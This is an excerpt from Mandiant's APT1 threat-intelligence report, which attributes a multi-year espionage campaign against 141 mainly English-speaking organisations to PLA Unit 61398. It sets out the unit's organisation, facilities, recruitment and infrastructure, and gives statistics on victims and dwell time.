Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of Chinas cyber threat actors.
We believe that APT1 is able to wage such a long-running and extensive cyber espionage campaign in large part because it receives direct government support.
In seeking to identify the organization behind this activity, our research found that Peoples Liberation Army (PLAs) Unit 61398 is similar to APT1 in its mission, capabilities, and resources.
PLA Unit 61398 is also located in precisely the same area from which APT1 activity appears to originate.
3 Our conclusions are based exclusively on unclassified, open source information derived from Mandiant observations.
None of the information in this report involves access to or confirmation by classified intelligence.
https://www.mandiant.com/resources/m-trends/ Mandiant APT1 3 www.mandiant.com KEY FINDINGS aPt1 is believed to be the 2nd Bureau of the Peoples Liberation army (PLa) General staff Departments (GsD) 3rd Department (), which is most commonly known by its Military unit Cover Designator (MuCD) as unit 61398 (61398).
The nature of Unit 61398s work is considered by China to be a state secret however, we believe it engages in harmful Computer Network Operations.
Unit 61398 is partially situated on Datong Road () in Gaoqiaozhen (), which is located in the Pudong New Area () of Shanghai ().
The central building in this compound is a 130,663 square foot facility that is 12 stories high and was built in early 2007.
We estimate that Unit 61398 is staffed by hundreds, and perhaps thousands of people based on the size of Unit 61398s physical infrastructure.
China Telecom provided special fiber optic communications infrastructure for the unit in the name of national defense.
Unit 61398 requires its personnel to be trained in computer security and computer network operations and also requires its personnel to be proficient in the English language.
Mandiant has traced APT1s activity to four large networks in Shanghai, two of which serve the Pudong New Area where Unit 61398 is based.
aPt1 has systematically stolen hundreds of terabytes of data from at least 141 organizations, and has demonstrated the capability and intent to steal from dozens of organizations simultaneously.4 Since 2006, Mandiant has observed APT1 compromise 141 companies spanning 20 major industries.
APT1 has a well-defined attack methodology, honed over years and designed to steal large volumes of valuable intellectual property.
Once APT1 has established access, they periodically revisit the victims network over several months or years and steal broad categories of intellectual property, including technology blueprints, proprietary manufacturing processes, test results, business plans, pricing documents, partnership agreements, and emails and contact lists from victim organizations leadership.
APT1 uses some tools and techniques that we have not yet observed being used by other groups including two utilities designed to steal email  GETMAIL and MAPIGET.
APT1 maintained access to victim networks for an average of 356 days.5 The longest time period APT1 maintained access to a victims network was 1,764 days, or four years and ten months.
Among other large-scale thefts of intellectual property, we have observed APT1 stealing 6.5 terabytes of compressed data from a single organization over a ten-month time period.
In the first month of 2011, APT1 successfully compromised at least 17 new victims operating in 10 different industries.
4  We believe that the extensive activity we have directly observed represents only a small fraction of the cyber espionage that APT1 has conducted.
Therefore, Mandiant is establishing the lower bounds of APT1 activities in this report.
5  This is based on 91 of the 141 victim organizations.
In the remaining cases, APT1 activity is either ongoing or else we do not have visibility into the last known date of APT1 activity in the network.
Mandiant APT1 4 www.mandiant.com aPt1 focuses on compromising organizations across a broad range of industries in english-speaking countries.
Of the 141 APT1 victims, 87 of them are headquartered in countries where English is the native language.
The industries APT1 targets match industries that China has identified as strategic to their growth, including four of the seven strategic emerging industries that China identified in its 12th Five Year Plan.
aPt1 maintains an extensive infrastructure of computer systems around the world.
APT1 controls thousands of systems in support of their computer intrusion activities.
In the last two years we have observed APT1 establish a minimum of 937 Command and Control (C2) servers hosted on 849 distinct IP addresses in 13 countries.
The majority of these 849 unique IP addresses were registered to organizations in China (709), followed by the U.S. (109).
In the last three years we have observed APT1 use fully qualified domain names (FQDNs) resolving to 988 unique IP addresses.
Over a two-year period (January 2011 to January 2013) we confirmed 1,905 instances of APT1 actors logging into their attack infrastructure from 832 different IP addresses with Remote Desktop, a tool that provides a remote user with an interactive graphical interface to a system.
In the last several years we have confirmed 2,551 FQDNs attributed to APT1.
In over 97 of the 1,905 times Mandiant observed aPt1 intruders connecting to their attack infrastructure, aPt1 used IP addresses registered in shanghai and systems set to use the simplified Chinese language.
In 1,849 of the 1,905 (97) of the Remote Desktop sessions APT1 conducted under our observation, the APT1 operators keyboard layout setting was Chinese (Simplified)  US Keyboard.
Microsofts Remote Desktop client configures this setting automatically based on the selected language on the client system.
Therefore, the APT1 attackers likely have their Microsoft operating system configured to display Simplified Chinese fonts.
817 of the 832 (98) IP addresses logging into APT1 controlled systems using Remote Desktop resolved back to China.
We observed 767 separate instances in which APT1 intruders used the HUC Packet Transmit Tool or HTRAN to communicate between 614 distinct routable IP addresses and their victims systems using their attack infrastructure.
Of the 614 distinct IP addresses used for HTRAN communications: 614 of 614 (100) were registered in China.
613 (99.8) were registered to one of four Shanghai net blocks.
Mandiant APT1 5 www.mandiant.com the size of aPt1s infrastructure implies a large organization with at least dozens, but potentially hundreds of human operators.
We conservatively estimate that APT1s current attack infrastructure includes over 1,000 servers.
Given the volume, duration and type of attack activity we have observed, APT1 operators would need to be directly supported by linguists, open source researchers, malware authors, industry experts who translate task requests from requestors to the operators, and people who then transmit stolen information to the requestors.
APT1 would also need a sizable IT staff dedicated to acquiring and maintaining computer equipment, people who handle finances, facility management, and logistics (e.g., shipping).
In an effort to underscore that there are actual individuals behind the keyboard, Mandiant is revealing three personas that are associated with aPt1 activity.
The first persona, UglyGorilla, has been active in computer network operations since October 2004.
His activities include registering domains attributed to APT1 and authoring malware used in APT1 campaigns.
UglyGorilla publicly expressed his interest in Chinas cyber troops in January 2004.
The second persona, an actor we call DOTA, has registered dozens of email accounts used to conduct social engineering and spear phishing attacks in support of APT1 campaigns.
DOTA used a Shanghai phone number while registering these accounts.
We have observed both the UglyGorilla persona and the DOTA persona using the same shared infrastructure, including FQDNs and IP ranges that we have attributed to APT1.
The third persona, who uses the nickname SuperHard, is the creator or a significant contributor to the AURIGA and BANGAT malware families which we have observed APT1 and other APT groups use.
SuperHard discloses his location to be the Pudong New Area of Shanghai.
Mandiant is releasing more than 3,000 indicators to bolster defenses against aPt1 operations.
Specifically, Mandiant is providing the following: Digital delivery of over 3,000 APT1 indicators, such as domain names, IP addresses, and MD5 hashes of malware.
Sample Indicators of Compromise (IOCs) and detailed descriptions of over 40 families of malware in APT1s arsenal of digital weapons.
Thirteen (13) X.509 encryption certificates used by APT1.
A compilation of videos showing actual attacker sessions and their intrusion activities.
While existing customers of Mandiants enterprise-level products, Mandiant Managed Defense and Mandiant Intelligent Response, have had prior access to these APT1 Indicators, we are also making them available for use with Redline, our free host-based investigative tool.
Redline can be downloaded at http://www.mandiant.com/ resources/download/redline.
http://www.mandiant.com/products/mcirt-managed-defense/ http://www.mandiant.com/products/platform/ http://www.mandiant.com/products/platform/ http://www.mandiant.com/resources/download/redline http://www.mandiant.com/resources/download/redline Mandiant APT1 6 www.mandiant.com Conclusion The sheer scale and duration of sustained attacks against such a wide set of industries from a singularly identified group based in China leaves little doubt about the organization behind APT1.
We believe the totality of the evidence we provide in this document bolsters the claim that APT1 is Unit 61398.
However, we admit there is one other unlikely possibility: A secret, resourced organization full of mainland Chinese speakers with direct access to Shanghai-based telecommunications infrastructure is engaged in a multi-year, enterprise scale computer espionage campaign right outside of Unit 61398s gates, performing tasks similar to Unit 61398s known mission.
Why We Are Exposing APT1 The decision to publish a significant part of our intelligence about Unit 61398 was a painstaking one.
What started as a what if discussion about our traditional non-disclosure policy quickly turned into the realization that the positive impact resulting from our decision to expose APT1 outweighed the risk to our ability to collect intelligence on this particular APT group.
It is time to acknowledge the threat is originating in China, and we wanted to do our part to arm and prepare security professionals to combat that threat effectively.
The issue of attribution has always been a missing link in publicly understanding the landscape of APT cyber espionage.
Without establishing a solid connection to China, there will always be room for observers to dismiss APT actions as uncoordinated, solely criminal in nature, or peripheral to larger national security and global economic concerns.
We hope that this report will lead to increased understanding and coordinated action in countering APT network breaches.
At the same time, there are downsides to publishing all of this information publicly.
Many of the techniques and technologies described in this report are vastly more effective when attackers are not aware of them.
Additionally, publishing certain kinds of indicators dramatically shortens their lifespan.
When Unit 61398 changes their techniques after reading this report, they will undoubtedly force us to work harder to continue tracking them with such accuracy.
It is our sincere hope, however, that this report can temporarily increase the costs of Unit 61398s operations and impede their progress in a meaningful way.
We are acutely aware of the risk this report poses for us.
We expect reprisals from China as well as an onslaught of criticism.
Mandiant APT1 7 www.mandiant.com ChInas CoMPuter network oPeratIons taskInG to PLa unIt 61398 (61398 ) Our research and observations indicate that the Communist Party of China (CPC,) is tasking the Chinese Peoples Liberation Army (PLA,) to commit systematic cyber espionage and data theft against organizations around the world.
This section provides photos and details of Unit 61398 facilities, Chinese references discussing the units training and coursework requirements, and internal Chinese communications documenting the nature of the units relationship with at least one state-owned enterprise.
These details will be particularly relevant when we discuss APT1s expertise, personnel, location, and infrastructure, which parallel those of Unit 61398.
The Communist Party of China The PLAs cyber command is fully institutionalized within the CPC and able to draw upon the resources of Chinas state- owned enterprises to support its operations.
The CPC is the ultimate authority in Mainland China unlike in Western societies, in which political parties are subordinate to the government, the military and government in China are subordinate to the CPC.
In fact, the PLA reports directly to the CPCs Central Military Commission (CMC, ).6 This means that any enterprise cyber espionage campaign within the PLA is occurring at the direction of senior members of the CPC.
We believe that the PLAs strategic cyber command is situated in the PLAs General Staff Department (GSD, ), specifically its 3rd Department ().7 The GSD is the most senior PLA department.
Similar to the U.S. Joint Chiefs of Staff, the GSD establishes doctrine and provides operational guidance for the PLA.
Within the GSD, the 3rd Department has a combined focus on signals intelligence, foreign language proficiency, and defense information 6 James C. Mulvenon and Andrew N. D. Yang, editors, The Peoples Liberation Army as Organization: Reference Volume v1.0, (Santa Monica, CA: RAND Corporation, 2002), 96, http://www.rand.org/pubs/conf_proceedings/CF182.html, accessed February 6, 2013.
7 Bryan Krekel, Patton Adams, and George Bakos, Occupying the Information High Ground: Chinese Capabilities for Computer Network Operations and Cyber Espionage, Prepared for the U.S.-China Economic and Security Review Commission by Northrop Grumman Corp (2012): 10, http://www.
uscc.gov/RFP/2012/USCC20Report_Chinese_CapabilitiesforComputer_NetworkOperationsandCyberEspionage.pdf, accessed February 6, 2013.
Mandiant APT1 8 www.mandiant.com systems.8 It is estimated to have 130,0009 personnel divided between 12 bureaus (), three research institutes, and 16 regional and functional bureaus.10 We believe that the GSD 3rd Department, 2nd Bureau (), is the APT group that we are tracking as APT1.
Figure 1 shows how close the 2nd Bureau sits to the highest levels of the CPC.
At this level, the 2nd Bureau also sits atop a large-scale organization of subordinate offices.
Communist Party of China (Central Military Commission, ) PLA General Staff Department ( ) PLA General Political Department ( ) PLA General Logistics Department ( ) PLA General Armaments Department ( ) GSD 1st Department ( ) Operations GSD 2nd Department ( ) Intelligence GSD 3rd Department ( ) SIGINT/CNO 7 Military Regions PLA Airforce (PLAA) PLA Navy (PLAN) 1st Bureau () 2nd Bureau () Unit 61398 12 Total Bureaus 3 Research Institutes FIGure 1: unit 61398s position within the PLa11 8 The 3rd departments mission is roughly a blend of the missions assigned to the U.S. National Security Agency, the Defense Language Institute, and parts of the Defense Information Systems Agency.
9 Bryan Krekel, Patton Adams, and George Bakos, Occupying the Information High Ground: Chinese Capabilities for Computer Network Operations and Cyber Espionage, Prepared for the U.S.-China Economic and Security Review Commission by Northrop Grumman Corp (2012): 47, http://www.
uscc.gov/RFP/2012/USCC20Report_Chinese_CapabilitiesforComputer_NetworkOperationsandCyberEspionage.pdf, accessed February 6, 2013.
10 Ian Easton and Mark A. Stokes, Chinas Electronic Intelligence Satellite Developments: Implications for U.S. Air and Naval Operations, Project 2049 Institute (2011): 5, http://project2049.net/documents/china_electronic_intelligence_elint_satellite_developments_easton_stokes.pdf, accessed February 6, 2013.
11 James C. Mulvenon and Andrew N. D. Yang, editors, The Peoples Liberation Army as Organization: Reference Volume v1.0, (Santa Monica, CA: RAND Corporation, 2002), 96, http://www.rand.org/pubs/conf_proceedings/CF182.html, accessed February 6, 2013.
Mandiant APT1 9 www.mandiant.com Inferring the Computer Network Operations Mission and Capabilities of Unit 61398 (61398) Publicly available references confirm that the PLA GSDs 3rd Department, 2nd Bureau, is Military Unit Cover Designator (MUCD) 61398, more commonly known as Unit 61398.12 They also clearly indicate that Unit 61398 is tasked with computer network operations (CNO).13 The Project 2049 Institute reported in 2011 that Unit 61398 appears to function as the Third Departments premier entity targeting the United States and Canada, most likely focusing on political, economic, and military-related intelligence.14 Our research supports this and also suggests Unit 61398s CNO activities are not limited to the U.S. and Canada, but likely extend to any organization where English is the primary language.
Identifying GsD 3rd Department, 2nd Bureau as unit 61398 The care with which the PLA maintains the separation between the GSD 3rd Department, 2nd Bureau, and the MUCD 61398 can be partially observed by searching the Internet for official documents from the Chinese government that refer to both the 2nd Bureau and Unit 61398.
Figure 2 shows the results of one of these queries.
FIGure 2: no results found for searching for GsD 3rd Department 2nd Bureau and unit 61398 on any Chinese government websites Despite our challenges finding a link between the Chinese Government and Unit 61398 online, our searches did find references online indicating that the GSD 3rd Department, 2nd Bureau, is actually Unit 61398.
Specifically, Google indexed references to Unit 61398 in forums and resumes.
Once these references were discovered by CPC censors, these postings and documents were likely modified or removed from the Internet.
Figure 3 shows Google search results 12 Mark A. Stokes, Jenny Lin, and L.C.
Russell Hsiao, The Chinese Peoples Liberation Army Signals Intelligence and Cyber Reconnaissance Infrastructure, Project 2049 Institute (2011): 8, http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf, accessed February 6, 2013.
13 U.S. Department of Defense defines Computer Network Operations as Comprised of computer network attack, computer network defense, and related computer network exploitation enabling operations.
Also called CNO.
computer network attack.
Actions taken through the use of computer networks to disrupt, deny, degrade, or destroy information resident in computers and computer networks, or the computers and networks themselves.
Also called CNA.
computer network defense.
Actions taken to protect, monitor, analyze, detect, and respond to unauthorized activity within the Department of Defense information systems and computer networks.
Also called CND.
computer network exploitation.
Enabling operations and intelligence collection capabilities conducted through the use of computer networks to gather data from target or adversary automated information systems or networks.
Also called CNE.
U.S. Department of Defense, The Dictionary of Military Terms (New York: Skyhorse Publishing, Inc.), 112.
14 Mark A. Stokes, Jenny Lin, and L.C.
Russell Hsiao, The Chinese Peoples Liberation Army Signals Intelligence and Cyber Reconnaissance Infrastructure, Project 2049 Institute (2011): 8, http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf, accessed February 6, 2013.
what is a MuCD?
Chinese military units are given MUCDs, five-digit numerical sequences, to provide basic anonymity for the unit in question and as a standardized reference that facilitates communications and operations (e.g., Unit 81356 is moving to the objective, versus 1st Battalion, 125th Regiment, 3rd Division, 14th Group Army is moving to the objective).
Military Unit Cover Designators are also used in official publications and on the Internet to refer to the unit in question.
The MUCD numbers are typically displayed outside a units barracks, as well as on the units clothing, flags, and stationary.
Source: The Chinese Army Today: Tradition and Transformation for the 21st Century  Dennis J. Blasko http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf Mandiant APT1 10 www.mandiant.com for unit 61398 and some responsive hits (note that the links that appear in these search results will likely have been removed by the time you read this report): FIGure 3: Google search results that show unit 61398 attribution leaks unit 61398s Personnel requirements Unit 61398 appears to be actively soliciting and training English speaking personnel specializing in a wide variety of cyber topics.
Former and current personnel from the unit have publicly alluded to these areas of emphasis.
For example, a graduate student of covert communications, Li Bingbing (), who openly acknowledged his affiliation with Unit 61398, published a paper in 2010 that discussed embedding covert communications within Microsoft Word documents.
Another example is English linguist Wang Weizhongs () biographical information, provided to the Hebei () Chamber of Commerce, which describes the training he received as an English linguist while assigned to Unit 61398.
These and other examples that demonstrate Unit 61398s areas of expertise are listed in Table 1 below.15 taBLe 1: Chinese sources referring to the areas of expertise contained in unit 61398.16.17.18.19 type of expertise in unit 61398 () source Describing that expertise in unit 61398 Covert Communications Article in Chinese academic journal.
Second author Li Bingbing () references Unit 61398 as the source of his expertise on the topic.15 English Linguistics Bio of Hebei Chamber of Commerce member Wang Weizhong ().
He describes that he received his training as an English linguist during his service in Unit 61398.
(
Hebei is a borough in Shanghai.
)16 Operating System Internals Article in Chinese academic journal.
Second author Yu Yunxiang () references Unit 61398 as the source of his expertise on the topic.17 Digital Signal Processing Article in Chinese academic journal.
Second author Peng Fei () references Unit 61398 as the source of his expertise on the topic.18 Network Security Article in Chinese academic journal.
Third author Chen Yiqun () references Unit 61398 as the source of his expertise on the topic.19 15 Li Bing-bing, Wang Yan-Bo, and Xu Ming, An information hiding method of Word 2007 based on image covering, Journal of Sichuan University (Natural Science Edition) 47 (2010), http://www.paper.edu.cn/journal/downCount/0490-6756(2010)S1-0031-06, accessed February 6, 2013.
16 Hebei Chamber of Commerce, Bio of member Wang Weizhong (2012), http://www.hbsh.org/shej_ejsheqmsg.
aspx?mid26uid06010000aid06, accessed February 6, 2013.
17 Zeng Fan-jing, Yu Yun-xiang, and Chang Li, The Implementation of Overlay File System in Embedded Linux, Journal of Information Engineering University 7 (2006), http://file.lw23.com/9/98/984/98401889-9da6-4c38-b9d2-5a5202fd1a33.pdf, accessed February 6, 2013.
18 Zhao Ji-yong, Peng Fei, and Geng Chang-suo, ADCs Performance and Selection Method of Sampling Number of Bits, Journal of Military Communications Technology 26, (2005), http://file.lw23.com/f/f1/f14/f14e7b60-3d60-4184-a48f-4a50dd21927c.pdf, accessed February 6, 2013.
19 Chen Qiyun, Chen Xiuzhen, Chen Yiqun, and Fan Lei, Quantization Evaluation Algorithm for Attack Graph Based on Node Score, Computer Engineering 36 (2010), http://www.ecice06.com/CN/article/downloadArticleFile.do?attachTypePDFid19627, accessed February 7, 2013.
Mandiant APT1 11 www.mandiant.com Additionally, there is evidence that Unit 61398 aggressively recruits new talent from the Science and Engineering departments of universities such as Harbin Institute of Technology () and Zhejiang University School of Computer Science and Technology ().
The majority of the profession codes () describing positions that Unit 61398 is seeking to fill require highly technical computer skills.
The group also appears to have a frequent requirement for strong English proficiency.
Table 2 provides two examples of profession codes for positions in Unit 61398, along with the required university courses and proficiencies associated with each profession.20 taBLe 2: two profession codes and university recommended courses for students intending to apply for positions in unit 61398 Profession Code required Proficiencies 080902  Circuits and Systems  101  Political 201  English 301  Mathematics 842  Signal and Digital Circuits (or) 840 - Circuits Interview plus a small written test: Circuits and Systems-based professional knowledge and comprehensive capacity Team spirit and ability to work with others to coordinate English proficiency 081000  Information and Communications Engineering 101 - Political 201  British [English] 301 - Mathematics 844 - Signal Circuit Basis size and Location of unit 61398s Personnel and Facilities Based on the size of Unit 61398s physical infrastructure, we estimate that the unit is staffed by hundreds, and perhaps thousands.
This is an extrapolation based on public disclosures from within China describing the location and physical installations associated with Unit 61398.
For example, public sources confirm that in early 2007, Jiangsu Longhai Construction Engineering Group () completed work on a new building for Unit 61398 located at Datong Road 208 within the Pudong New Area of Shanghai (208),21 which is referred to as the Unit 61398 Center Building (61398).
At 12 stories in height, and offering 130,663 square feet of space, we estimate that this building houses offices for approximately 2,000 people.
Figure 4 through Figure 7 provide overhead views and street-level views of the building and its location, showing its size.
This is only one of the units several buildings, some of which are even larger.
20 Two Chinese universities hosting Unit 61398 recruiting events: Zhejiang University: http://www.cs.zju.edu.cn/chinese/redir.php?catalog_id101913object_id106021 Harbin Institute of Technology: http://today.hit.edu.cn/articles/2004/2-23/12619.htm 21 See http://www.czzbb.net/czzb/YW_Info/YW_ZiGeYS/BaoMingInfo.aspx?YW_RowID41726BiaoDuanBHCZS20091202901enterprise_ id70362377-3 for documentation of the contract award to Jiangsu Langhai Construction Engineering Group for Unit 61398s Center Building, among several other buildings accessed February 5, 2013.
http://www.cs.zju.edu.cn/chinese/redir.php?catalog_id101913object_id106021 http://today.hit.edu.cn/articles/2004/2-23/12619.htm Mandiant APT1 12 www.mandiant.com FIGure 4: Datong circa 2006 (prior to unit 61398 Center Building construction) Image Copyright 2013 DigitalGlobe Mandiant APT1 13 www.mandiant.com FIGure 5: Datong Circa 2008 (unit 61398 Center Building visible at 208 Datong) Image Copyright 2013 DigitalGlobe Mandiant APT1 14 www.mandiant.com FIGure 6: unit 61398 Center Building (main gate, soldiers visible) Image Copyright 2013 city8.com Mandiant APT1 15 www.mandiant.com FIGure 7: unit 61398 Center Building 208 Datong (rear view, possible generator exhausts visible) Image Copyright 2013 city8.com Mandiant APT1 16 www.mandiant.com Unit 61398 also has a full assortment of support units and associated physical infrastructure, much of which is located on a stretch of Datong Road () in Gaoqiaozhen (), in the Pudong New Area () of Shanghai ( ).22 These support units include a logistics support unit, outpatient clinic, and kindergarten, as well as guesthouses located both in Gaoqiaozhen and in other locations in Shanghai.23 These amenities are usually associated with large military units or units at higher echelons.
The close proximity of these amenities supports the contention that Unit 61398 occupies a high-level position in the PLA organizational hierarchy (see Figure 1: Unit 61398s positions within the PLA).24 PLa unit 61398 and state-owned enterprise China telecom are Co-building Computer network operations Infrastructure Mandiant found an internal China Telecom document online that provides details about the infrastructure provided to Unit 61398.
The memo (in Figure 8) reveals China Telecom executives deciding to co-build with Unit 61398 to justify the use of their own inventory in the construction of fiber optic communication lines based on the principle that national defense construction is important.
The letter also appears to indicate that this is a special consideration being made outside of China Telecoms normal renting method for Unit 61398.
Additionally, the memo clarifies the phrase Unit 61398 with the comment (GSD 3rd Department, 2nd Bureau).
The memo not only supports the identity of Unit 61398 as GSDs 3rd Department 2nd Bureau, but also reveals the relationship between a very important communication and control department (Unit 61398) and a state-influenced enterprise.
22 Confirmation of several other Unit 61398 support facilities along Datong Road: Address: 50 (Pudong New Area, Shanghai, Datong Road 50) Building Name: 61398 (Peoples Liberation Army Unit 61398 Headquarters) Source: Chinese phone book listing building name and address http://114.mingluji.com/minglu/E4B8ADE59BBDE4BABAE6 B091E8A7A3E694BEE5869B E7ACAC61398E983A8E9989FE58FB8E4B- BA4E983A8, accessed February 6, 2013.
Address: 118 (Pudong New Area, Shanghai, Datong Road 118 A) Building Name: 61398 (Peoples Liberation Army Unit 61398 Headquarters) Chinese phone book listing building name and address http://114.mingluji.com/minglu/E4B8ADE59BBDE4BABAE6B0 91E8A7A3E694BEE5869BE7ACAC61398E983A8E9989FE58FB8E4BBA4E983A8_0, accessed February 6, 2013.
Address: 135 (Pudong New Area, Shanghai Gaoqiao Town, Datong Road 135) Building Name: 61398 (Peoples Liberation Army Unit 61398) Chinese phone book listing building name and address http://114.mingluji.com/minglu/E4B8ADE59BBDE4BABAE6B09 1E8A7A3E694BEE5869BE7ACAC61398E983A8E9989F_0, accessed February 6, 2013.
Address: 153 (Pudong New Area, Shanghai Gaoqiao Town, Datong Road 153) Building Name: 61398 (Peoples Liberation Army Unit 61398) Chinese phone book listing building name and address http://114.mingluji.com/minglu/E4B8ADE59BBDE4BABAE6B09 1E8A7A3E694BEE5869BE7ACAC61398E983A8E9989F, accessed February 6, 2013.
Address: 305 (Pudong New Area, Shanghai, Datong Road 305) Building Name: 61398 (Logistics Department of the Chinese Peoples Liberation Army Unit 61,398)( Chinese phone book listing building name and address http://114.mingluji.com/category/E7B1B- BE59E8B/E4B8ADE59BBDE4BABAE6B091E8A7A3E694BEE5869B?page69, accessed February 6, 2013.
23 Unit 61398 Kindergarden Listed in Shanghai Pudong: http://www.pudong-edu.sh.cn/Web/PD/jyzc_school.aspx?SiteID45UnitID2388 24 James C. Mulvenon and Andrew N. D. Yang, editors, The Peoples Liberation Army as Organization: Reference Volume v1.0, (Santa Monica, CA: RAND Corporation, 2002), 125, http://www.rand.org/pubs/conf_proceedings/CF182.html, accessed February 6, 2013.
Mandiant APT1 17 www.mandiant.com FIGure 8: China telecom Memo discussing unit 61398 source: http://r9.he3.com.cn/e8a784e58892/e98193e8B7aFe58F8ae585B6e 4BB96e8a784e58892e59BBee7BaB8/e4BFa1e681aFe59Ba De58CBa/e585B3e4Ba8ee680BBe58F82e4B889e983a8e4B a8Ce5B180-e4B88ae6B5B7005e4B8aDe5BF83e99C80e4BDB- Fe794a8e68891e585aCe58FB8e9809ae4BFa1.pdf25 25 This link has Chinese characters in it which are represented in URL encoding Mandiant APT1 18 www.mandiant.com Market Department Examining Control Affairs Division Report Requesting Concurrence Concerning the General Staff Department 3rd Department 2nd Bureau Request to Use Our Companys Communication Channel Division Leader Wu: The Chinese Peoples Liberation Army Unit 61398 (General Staff Department 3rd Department 2nd Bureau) wrote to us a few days ago saying that, in accordance with their central command 8508 on war strategy construction [or infrastructure] need, the General Staff Department 3rd Department 2nd Bureau (Gaoqiao Base) needs to communicate with Shanghai City 005 Center (Shanghai Intercommunication Network Control Center within East Gate Bureau) regarding intercommunication affairs.
This bureau already placed fiber-optic cable at the East Gate front entrance [road pole].
They need to use two ports to enter our companys East Gate communication channel.
The length is about 30m.
At the same time, the second stage construction (in Gaoqiao Base) needs to enter into our companys Shanghai Nanhui Communication Park 005 Center (special-use bureau).
This military fiber-optic cable has already been placed at the Shanghai Nanhui Communication Park entrance.
They need to use 4 of our company ports inside the Nanhui Communication Park to enter.
The length is 600m.
Upon our divisions negotiation with the 3rd Department 2nd Bureaus communication branch, the military has promised to pay at most 40,000 Yuan for each port.
They also hope Shanghai Telecom will smoothly accomplish this task for the military based on the principle that national defense construction is important.
After checking the above areas channels, our company has a relatively abundant inventory to satisfy the militarys request.
This is our suggestion: because this is concerning defense construction, and also the 3rd Department 2nd Bureau is a very important communication control department, we agree to provide the requested channels according to the militarys suggested price.
Because this is a one-time payment, and it is difficult to use the normal renting method, we suggest our company accept one-time payment using the reason of Military Co-Construction [with China Telecom] of Communication Channels and provide from our inventory.
The militarys co-building does not interfere with our proprietary rights.
If something breaks, the military is responsible to repair it and pay for the expenses.
After you agree with our suggestion, we will sign an agreement with the communication branch of 61398 and implement it.
Please provide a statement about whether the above suggestion is appropriate or not.
[
Handwritten Note]Agree with the Market Department Examining Control Affairs Division suggestion inside the agreement clearly [...define?
(
illegible) ...] both partys responsibilities.
FIGure 9: english translation of China telecom Memo Mandiant APT1 19 www.mandiant.com Synopsis of PLA Unit 61398 The evidence we have collected on PLA Unit 61398s mission and infrastructure reveals an organization that: Employs hundreds, perhaps thousands of personnel Requires personnel trained in computer security and computer network operations Requires personnel proficient in the English language Has large-scale infrastructure and facilities in the Pudong New Area of Shanghai Was the beneficiary of special fiber optic communication infrastructure provided by state-owned enterprise China Telecom in the name of national defense The following sections of this report detail APT1s cyber espionage and data theft operations.
The sheer scale and duration of these sustained attacks leave little doubt about the enterprise scale of the organization behind this campaign.
We will demonstrate that the nature of APT1s targeted victims and the groups infrastructure and tactics align with the mission and infrastructure of PLA Unit 61398.
Mandiant APT1 20 www.mandiant.com aPt1: years oF esPIonaGe Our evidence indicates that APT1 has been stealing hundreds of terabytes of data from at least 141 organizations across a diverse set of industries beginning as early as 2006.
Remarkably, we have witnessed APT1 target dozens of organizations simultaneously.
Once the group establishes access to a victims network, they continue to access it periodically over several months or years to steal large volumes of valuable intellectual property, including technology blueprints, proprietary manufacturing processes, test results, business plans, pricing documents, partnership agreements, emails and contact lists from victim organizations leadership.
We believe that the extensive activity we have directly observed represents only a small fraction of the cyber espionage that APT1 has committed.
APT1 Puts the Persistent in APT Since 2006 we have seen APT1 relentlessly expand its access to new victims.
Figure 10 shows the timeline of the 141 compromises we are aware of each marker in the figure represents a separate victim and indicates the earliest confirmed date of APT1 activity in that organizations network.26 With the ephemeral nature of electronic evidence, many of the dates of earliest known APT1 activity shown here underestimate the duration of APT1s presence in the network.
FIGure 10: timeline showing dates of earliest known aPt1 activity in the networks of the 141 organizations in which Mandiant has observed aPt1 conducting cyber espionage.
26 Figure 10 shows that we have seen APT1 compromise an increasing number of organizations each year, which may reflect an increase in APT1s activity.
However, this increase may also simply reflect Mandiants expanding visibility into APT1s activities as the company has grown and victims awareness of cyber espionage activity in their networks has improved.
2006 2007 2008 2009 2010 2011 2012 2013 Organizations compromised by APT1 over time Mandiant APT1 21 www.mandiant.com Longest time period within which APT1 has continued to access a victims network: 4 Years, 10 Months Once APT1 has compromised a network, they repeatedly monitor and steal proprietary data and communications from the victim for months or even years.
For the organizations in Figure 10, we found that APT1 maintained access to the victims network for an average of 356 days.27 The longest time period APT1 maintained access to a victims network was at least 1,764 days, or four years and ten months.
APT1 was not continuously active on a daily basis during this time period however, in the vast majority of cases we observed, APT1 continued to commit data theft as long as they had access to the network.
APT1s Geographic  Industry Focus The organizations targeted by APT1 primarily conduct their operations in English.
However, we have also seen the group target a small number of non-English speaking victims.
A full 87 of the APT1 victims we have observed are headquartered in countries where English is the native language (see Figure 11).
This includes 115 victims located in the U.S. and seven in Canada and the United Kingdom.
Of the remaining 19 victims, 17 use English as a primary language for operations.
These include international cooperation and development agencies, foreign governments in which English is one of multiple official languages, and multinational conglomerates that primarily conduct their business in English.
Only two victims appear to operate using a language other than English.
Given that English- language proficiency is required for many members of PLA Unit 61398, we believe that the two non-English speaking victims are anomalies representing instances in which APT1 performed tasks outside of their normal activities.
27  This is based on 91 of the 141 victim organizations shown.
In the remaining cases, APT1 activity is either ongoing or else we do not have visibility into the last known date of APT1 activity in the network.
Mandiant APT1 22 www.mandiant.com 5 United Kingdom 1 Norway 1 France 1 South Africa 1 Japan 2 Singapore 2 Taiwan 3 India 1 UAE 3 Israel 2 Switzerland 1 Luxemborg 1 Belgium 115 United States 2 Canada OBSERVED GLOBAL APT1 ACTIVITY FIGure 11: Geographic location of aPt1s victims.
In the case of victims with a multinational presence, the location shown reflects either the branch of the organization that aPt1 compromised (when known), or else is the location of the organizations headquarters.
APT1 has demonstrated the capability and intent to steal from dozens of organizations across a wide range of industries virtually simultaneously.
Figure 12 provides a view of the earliest known date of APT1 activity against all of the 141 victims we identified, organized by the 20 major industries they represent.
The results suggest that APT1s mission is extremely broad the group does not target industries systematically but more likely steals from an enormous range of industries on a continuous basis.
Since the organizations included in the figure represent only the fraction of APT1 victims that we confirmed directly, the range of industries that APT1 targets may be even broader than our findings suggest.
Further, the scope of APT1s parallel activities implies that the group has significant personnel and technical resources at its disposal.
In the first month of 2011, for example, Figure 12 shows that APT1 successfully compromised 17 new victims operating in 10 different industries.
Since we have seen that the group remains active in each victims network for an average of nearly a year after the initial date of compromise, we infer that APT1 committed these 17 new breaches while simultaneously maintaining access to and continuing to steal data from a number of previously compromised victims.
